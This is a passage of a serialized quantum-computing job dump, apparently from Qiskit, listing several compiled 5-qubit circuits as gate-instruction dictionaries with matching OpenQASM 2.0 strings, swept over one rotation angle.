'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.800000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1283', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1285', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1287', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1289', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier 